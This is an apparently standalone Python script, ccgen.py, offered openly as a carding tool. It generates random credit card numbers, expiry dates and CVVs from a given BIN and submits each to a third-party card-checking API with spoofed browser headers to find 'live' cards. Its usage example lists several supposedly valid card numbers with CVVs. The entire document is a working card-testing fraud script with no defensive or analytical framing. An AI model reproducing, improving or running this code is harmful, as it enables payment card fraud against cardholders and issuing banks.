Generates n random credit cards from a given BIN, and checks them for validity using the gostrafx API

ccgen.py

import requests, sys, random

"""

Example usage: 

ccgen.py 5398172511xxxxxx 20

which returns

Valid:

5398172511214173|10|2029|898
5398172511129149|11|2023|414
5398172511848561|03|2028|986
5398172511685723|04|2027|769

9 dead, 7 unknown

(whether the BIN has x or other letters for unknowns doesn't matter, simply passing the number is enough) 

"""

BIN = ''.join(c for c in sys.argv[1] if c.isdigit())
n = int(sys.argv[2])

def gen(BIN):
    chklist = []
    for _ in range(n):
        ccn = f'{BIN}{"".join(map(str, [random.randint(1, 9) for _ in range(16-len(BIN))]))}'
        expmonth = f'{random.randint(1,12):02}'
        expyear = str(random.randint(2023, 2029))
        cvv = f'{random.randint(1,999):03}'
        chklist.append(f'{ccn}|{expmonth}|{expyear}|{cvv}')
    return chklist
                
def check(chk):
    headers = {
    'authority': 'gostrafx.com',
    'sec-ch-ua': '" Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"',
    'dnt': '1',
    'sec-ch-ua-mobile': '?0',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'accept': '*/*',
    'x-requested-with': 'XMLHttpRequest',
    'sec-ch-ua-platform': '"Windows"',
    'origin': 'https://gostrafx.com',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    'accept-language': 'en-US,en;q=0.9',
    }
    
    dead, alive, limbo = [], [], []
    for cc in chk:
        res = requests.post('https://gostrafx.com/api.php', headers=headers, data={'data': cc}).text
        if 'Live' in res: alive.append(cc)
        elif 'Die' in res: dead.append(cc)
        elif 'Unknown' in res: limbo.append(cc)
    
    print('\nValid:\n')
    for card in alive:
        print(card)
    
    print(f'\n{len(dead)} dead, {len(limbo)} unknown') 
        
check(gen(BIN))